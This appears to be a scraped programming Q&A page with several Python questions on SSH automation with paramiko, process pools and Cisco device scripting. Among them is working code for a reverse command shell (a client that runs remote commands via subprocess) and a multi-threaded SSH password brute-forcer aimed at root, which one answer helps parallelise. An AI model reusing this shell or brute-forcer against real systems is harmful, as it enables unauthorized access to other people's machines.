Trying to get a process pool to work on windows but after asking me the password it again asks me the password.
import os
import sys
import paramiko
import getpass
import socket
from multiprocessing import Pool
def processFunc(hostname):
handle = paramiko.SSHClient()
handle.set_missing_host_key_policy(paramiko.AutoAddPolicy())
handle.connect(hostname, username=user, password=pw)
print("child")
stdin, stdout, stderr = handle.exec_command("show clock")
cmdOutput = ""
while True:
try:
cmdOutput += stdout.next()
except StopIteration:
break
print("Got output from host %s:%s" % (hostname, cmdOutput))
handle.close()
user = "sup"
f= open('csip.txt','r')
hostnames = []
for line in f:
hostname = line.strip()
hostnames.append(hostname)
pw = getpass.getpass("Enter ssh password:")
if __name__ == "__main__":
pool = Pool(processes=4)
pool.map(processFunc, hostnames, 1)
pool.close()
pool.join()
Am i doing something wrong? The script should read hostnames from the txt file get the password and then invoke the process pool.
The below works -
But i want help to improve it. dont want to hardcode the username and password.
import os
import sys
import paramiko
from multiprocessing import Pool
#Globals
Hostnames = []
f= open('csip.txt','r')
for line in f:
hname = line.strip()
Hostnames.append(hname)
def processFunc(Hostname):
handle = paramiko.SSHClient()
handle.set_missing_host_key_policy(paramiko.AutoAddPolicy())
handle.connect(Hostname, username="sup", password="123")
print("child")
stdin, stdout, stderr = handle.exec_command("show platform | i unknown")
cmdOutput = ""
while True:
try:
cmdOutput += stdout.next()
except StopIteration:
break
print("Got output from host %s:%s" % (Hostname, cmdOutput))
handle.close()
if __name__ == "__main__":
pool = Pool(processes=9)
pool.map(processFunc, Hostnames, 1)
pool.close()
pool.join()
Related
Server Code:
#!/usr/bin/python
import socket
import threading
import sys
import os
import time
bind_ip = raw_input("\nset lhost : ")
print "lhost set %s" % bind_ip
bind_port =int(raw_input("\nset lport : "))
print "lport set %s" % bind_port
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
time.sleep(0.8)
print "\n[*]Listening on %s:%d" % (bind_ip, bind_port)
client, addr = server.accept()
time.sleep(0.8)
print "[*] Binding connection on %s:%d" % (bind_ip, bind_port)
time.sleep(0.8)
print "[*] Accepted connection from %s:%d" % (bind_ip, bind_port)
time.sleep(0.5)
print "[*] Spwaning command shell"
time.sleep(0.5)
print "[*] Spwaned!!"
while True:
try:
print "\ncommand$control:~$"
# take commands
# command = raw_input("\ncommand$control:~ ")
command = sys.stdin.readline()
# if command == exit then exit
if command == "exit\n":
print "[!] Exiting..!"
client.send(command)
client.close()
os._exit(1)
else: # send 1st command
client.send(command)
recvd = None
# if recvd == # break loop and ask next command
while recvd != "#":
recvd = None
recvd = client.recv(4096)
if recvd == "#":
break
elif len(recvd):
recvd = recvd.replace('\r', '').replace('\n', '')
#recvd = recvd.rstrip('\t')
print recvd
except Exception, e:
print "Error: %s" % str(e)
os._exit(1)
Client Code:
#!/usr/bin/python
import socket
import threading
import subprocess
import sys
import os
target_host = raw_input("set target host: ")
target_port = int(raw_input("set target port: "))
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
def run_command(command):
output = ''
command = command.rstrip()
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, s**strong text**tderr=subprocess.STDOUT)
for line in iter(output.stdout.readline, ''):
line = line.replace('\n', '').replace('\r', '').replace('\t', '')
print line
client.send(line)
sys.stdout.flush()
while True:
try:
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer+=client.recv(1024)
if cmd_buffer == "exit\n":
client.close()
os._exit()
run_command(cmd_buffer)
# After run_command for loop ends, # is send to break
# from the server's while loop
client.send("#")
except Exception:
client.close()
os._exit(0)
The code works,the client sends '#' to server to indicate that is has finished sending realtime command output, so the server on receiving '#' breaks from the loop,and ask for next command. But after entering 2/3 commands the # is printed on servers stdout which should'nt and it doesn't break from loop. Also the output from client isn't received as i have formatted it using replace(). Please help.it will be appreciated.
I have a script that will successfully run if I assign a list inside the main function, but I need to run through this on 100+ devices. I've spent some time researching and I think the best way to do this would be to store the variables in a text file and access it that way. (Of course, if someone knows a better way, I'm all for it!)
My issue now is that when I try to convert the existing code to account for the new text file full of variables, I'm getting:
TypeError: getaddrinfo() argument 1 must be string or None"
I'm pretty sure I'm seeing those because of the \n line break because it will fail up until the last line, and that one works.
So far, I've tried the line.split & save the txt file as a .csv and change the delimiter to \n but neither are working quite the way I expected.
Below is the script that works:
import sys, os, string, threading
import getpass
import paramiko
import time
cmd = "sh vl bri"
lanid = 'admin'
pwd = 'password'
outlock = threading.Lock()
def workon(host):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=lanid, password=pwd)
stdin, stdout, stderr = ssh.exec_command(cmd)
#print stdout.read()
stdin.flush()
with open("output-" + host + ".txt", 'w+') as f:
f.seek(0)
f.write(stdout.read())
with outlock:
print stdout.readlines()
#f.write(stdout)
def main():
hosts = ['sw1', 'sw2', 'sw3'] # etc
threads = []
for h in hosts:
t = threading.Thread(target=workon, args=(h,))
t.start()
threads.append(t)
for t in threads:
t.join()
main()
EDIT 1
import sys, os, string, threading
import getpass
import paramiko
import time
cmd = "sh vl bri"
#lanid = raw_input("Enter your uname: ")
lanid = 'admin'
pwd = 'password'
outlock = threading.Lock()
def workon(stripped_row):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(stripped_row, username=lanid, password=pwd)
stdin, stdout, stderr = ssh.exec_command(cmd)
#print stdout.read()
stdin.flush()
with open("output-" + stripped_row + ".txt", 'w+') as f:
f.seek(0)
f.write(stdout.read())
with outlock:
print stdout.readlines()
#f.write(stdout)
def main():
my_file = open('10host.txt')
threads = []
for h in my_file:
striped_row = h.strip()
t = threading.Thread(target=workon, args=(h,))
t.start()
threads.append(t)
for t in threads:
t.join()
main()
The problem lies here:
for h in my_file:
striped_row = h.strip()
t = threading.Thread(target=workon, args=(h,))
You're stripping the current line, but then pass the unstripped line to your worker function. Try to pass the striped_row as argument instead of h.
Below is my working code which is used to execute Cli commands on Cisco Routers and Switches. I have a task at my hand which requires me to read specific values from the output of the Cli commands executed earlier and use is as input for another command to be executed on the Cisco device.
Output of the below code:
TEST#sh run | i hostname
hostname TEST
TEST#
My task is to fetch only "TEST" from the output and use it as input for another command in the same code as follows,
chan.send("conf t\n")
chan.send("tacacs server key TEST\n")
chan.send("exit\n")
Please guide me on this. Thanks in advance.
import paramiko
import sys
import os
import subprocess
import cmd
import time
import datetime
import getpass
from netaddr import *
buff = ''
resp = ''
now = datetime.datetime.now()
usr = raw_input('Enter Username:')
pwd = getpass.getpass('Enter Password:')
with open('Fetch.txt') as f:
for line in f:
line = line.strip()
with open(os.devnull, "wb") as limbo:
ip = line
result = subprocess.Popen(["ping", "-n", "2", "-w", "200", ip],
stdout=limbo, stderr=limbo).wait()
if result:
print ip, "Link Down - Site unreachable"
f = open('Down Sites.txt', 'a+')
f.write( line + '\n' )
f.close()
else:
try:
dssh = paramiko.SSHClient()
dssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
dssh.connect(line, username=usr, password=pwd)
chan = dssh.invoke_shell()
chan.send("sh run | i hostname\n")
time.sleep(6)
data = chan.recv(99999)
filename_prefix = line
filename = "%s-%.2i-%.2i-%i_%.2i-%.2i-%.2i.txt" % (filename_prefix,now.day,now.month,now.year,now.hour,now.minute,now.second)
f=open(filename,"w")
f.write(data)
f.close()
print "Command Executed"
except Exception as e:
err = str(e)
f = open('Exceptions.txt', 'a+')
f.write(ip + ": " + err + '\n')
f.close()
print ip, "ERROR:", e
dssh.close()
I was able to get it working, just researched and got this solution,
import paramiko
import sys
import os
import subprocess
import cmd
import time
import datetime
import getpass
import re
from netaddr import *
buff = ''
resp = ''
now = datetime.datetime.now()
usr = raw_input('Enter Username:')
pwd = getpass.getpass('Enter Password:')
with open('Fetch.txt') as f:
for line in f:
line = line.strip()
with open(os.devnull, "wb") as limbo:
ip = line
result = subprocess.Popen(["ping", "-n", "2", "-w", "200", ip],
stdout=limbo, stderr=limbo).wait()
if result:
print ip, "Link Down - Site unreachable"
f = open('Down Sites.txt', 'a+')
f.write( line + '\n' )
f.close()
else:
try:
dssh = paramiko.SSHClient()
dssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
dssh.connect(line, username=usr, password=pwd,timeout=60)
stdin, stdout, stderr = dssh.exec_command('sh run | i hostname')
mystring = stdout.read()
v = mystring[9:]
dssh.connect(line, username = usr, password = pwd)
chan = dssh.invoke_shell()
chan.send("conf t\n tacacs-server key %s\n"%v)
time.sleep(2)
resp = chan.recv(9999)
f=open('Output.txt',"a+")
f.write(resp+ '\n')
f.close()
print "Command Executed"
except Exception as e:
err = str(e)
f = open('Exceptions.txt', 'a+')
f.write(ip + ": " + err + '\n')
f.close()
print ip, "ERROR:", e
dssh.close()
Thank u all.
I've coded a simple SSH Bruteforcer , and I am trying to make it multi-threaded as it is running very slowly at the moment. As you can see in the last few lines I have given it an attempt, but don't understand threading fully. I have read a few examples but I don't quite understand it fully, so I felt adding into my program will make me understand it better.
Code:
try:
import paramiko
except ImportError:
print("Paramiko module not installed, exiting.")
from multiprocessing.dummy import Pool, Process, JoinableQueue as Queue
import os
from datetime import datetime
startTime = datetime.now()
UserName2 = 'root'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
IPLines = 0
PasswordLines = 0
with open('pass.txt') as txt1:
for line in txt1:
if line.strip():
PasswordLines += 1
with open('ip.txt') as txt2:
for line2 in txt2:
if line2.strip():
IPLines += 1
current_attempts = 0
max_attempts = PasswordLines * IPLines
def print_results(found):
while True:
ip, password = found.get()
print("Found: %r %r" % (ip, password))
found.task_done()
def init(found_):
global found
found = found_
def generate_passwords():
#return (line.strip() for line in open(pass_file))
global ip
global pwd
global txt4
txt3 = open(pass_file, "r")
txt4 = open(ip_file, "r")
for line3 in txt3.readlines():
pwd = line3.strip()
for line4 in txt4.readlines():
ip = line4.strip()
def check(ip_password):
global current_attempts
ip, password = ip_password
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port, username=UserName2, password=pwd)
except paramiko.AuthenticationException, e:
print e
print '[-] %s:%s fail!' % (UserName2, pwd)
current_attempts += 1
except Exception, e:
print e
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName2, pwd, ip)
username, password, ipaddress = UserName2, pwd, ip
found.put((username,password,ipaddress))
seconds_taken = datetime.now() - startTime
print 'brute forcing took %s seconds' % seconds_taken
ssh.close()
print 'Found login in %s attempts' % current_attempts
if os.path.isfile("correct.txt"):
c = open("correct.txt", "a")
c.write('\n' + ip + ':' + UserName2 + ':' + pwd)
elif os.path.isfile("correct.txt"):
c = open('correct.txt', "w")
c.write(ip + ':' + UserName2 + ':' + pwd)
def main():
found = Queue()
t = Process(target=check, args=[found])
t.daemon = True # do not survive the parent
t.start()
pool = Pool(processes=20, initializer=init, initargs=[found])
args = ((ip, password) for password in generate_passwords() for ip in txt4)
for _ in pool.imap_unordered(check, args):
pass
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
found.join() # wait until all results are printed
if __name__ == "__main__":
main()
Errors:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 65, in check
ip, password = ip_password
TypeError: iteration over non-sequence
Traceback (most recent call last):
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 107, in <module>
main()
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 99, in main
args = ((ip, password) for password in generate_passwords() for ip in txt4)
TypeError: 'NoneType' object is not iterable
The problem is embarrassingly parallel. You can run concurrently the ssh connection attempts both for different ips and passwords:
#!/usr/bin/env python
# remove .dummy to use processes instead of threads
from multiprocessing.dummy import Pool
def check(params):
ip, username, password = params
# emulate ssh login attempt #XXX put your ssh connect code here
import random
successful = random.random() < .0001
return successful, params
def main():
creds = {}
ips = ["168.1.2.%d" % i for i in range(256)] #XXX dummy ip list, use yours
usernames = ["nobody", "root"] #XXX dummy user list, use yours
def generate_args():
for ip in ips:
for username in usernames:
for password in generate_passwords():
if (ip, username) in creds:
break
yield ip, username, password
pool = Pool(processes=20)
for success, params in pool.imap_unordered(check, generate_args()):
if not success:
continue
print("Found: %r" % (params,))
ip, username, password = params
creds[ip, username] = password
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
if __name__=="__main__":
main()
where ips is a list if all ips you want to try and generate_passwords() is a generator that yields one password at a time, here's an example:
def generate_passwords(pass_file):
return (line.strip() for line in open(pass_file))
About errors
ValueError: too many values to unpack
your code has found.put((username,password,ipaddress)) (a tuple with 3 values) but print_results() function expects ip, password = found.get() (2 values). The error "too many values to unpack" is because 3 is larger than 2.
'NoneType' object is not iterable
attempt() function returns nothing (None) but you put it in the place for generate_passwords() that must generate passwords (see the example implementation above).
I am trying to execute the following code, which asks me password for each and every ssh command though I provide my password in the code. Can any one please tell me where I am doing mistake. Thanks in advance
import signal
from subprocess import call, PIPE, Popen
from time import sleep
import os, pty
class SshCmd:
socket = ''
pid = 0
password = None
def __init__(self, password = None):
if password:
SshCmd.password = password
# start agent
devnull = open(os.devnull, 'w')
call(['killall', 'ssh-agent'], stderr=devnull)
process = Popen('/usr/bin/ssh-agent', stdout=PIPE, stderr=devnull)
stdout, stderr = process.communicate()
lines = stdout.splitlines()
SshCmd.socket = lines[0].decode().split(';')[0].split('=')[1]
SshCmd.pid = lines[1].decode().split(';')[0].split('=')[1]
devnull.close()
# unlock key
pid, fd = pty.fork()
if 0 == pid:
# child adds key
os.execve('/usr/bin/ssh-add', ['/usr/bin/ssh-add'], \
{'SSH_AUTH_SOCK': SshCmd.socket, 'SSH_AGENT_PID': SshCmd.pid})
else:
# parent send credentials
cmsg = os.read(fd, 1024)
os.write(fd, SshCmd.password.encode())
os.write(fd, os.linesep.encode())
cmsg = os.read(fd, 1024)
if len(cmsg) <= 2:
os.waitpid(pid, 0)
else:
os.kill(pid, signal.SIGTERM)
def execve(self, path, args, env = {}):
if not SshCmd.password:
return
pid = os.fork()
if 0 == pid:
env['SSH_AUTH_SOCK'] = SshCmd.socket
env['SSH_AGENT_PID'] = SshCmd.pid
os.execve(path, args, env)
else:
os.waitpid(pid, 0)
def ssh(self, user, host, cmd, args = []):
cmdLine = cmd
for arg in args:
cmdLine += ' '
cmdLine += arg
self.execve('/usr/bin/ssh',
['/usr/bin/ssh',
'-o',
'UserKnownHostsFile=/dev/null',
'-o',
'StrictHostKeyChecking=false',
'%(user)s#%(host)s' % {'user': user, 'host': host},
cmdLine])
if '__main__' == __name__:
other = SshCmd('passowrd')
other.ssh('root', 'host', '/sbin/ifconfig')
other.ssh('root', 'host', 'ping', ['-c', '5', 'localhost'])
You are not making a mistake. In order to skip the password step, you need to pre-validate your request, you can do this by using the command ssh-copy-id first. which will store the credentials and allow connection through a key. You need to have a key first, which you can create with ssh-keygen
Note: these commands may change depending on the linux distribution.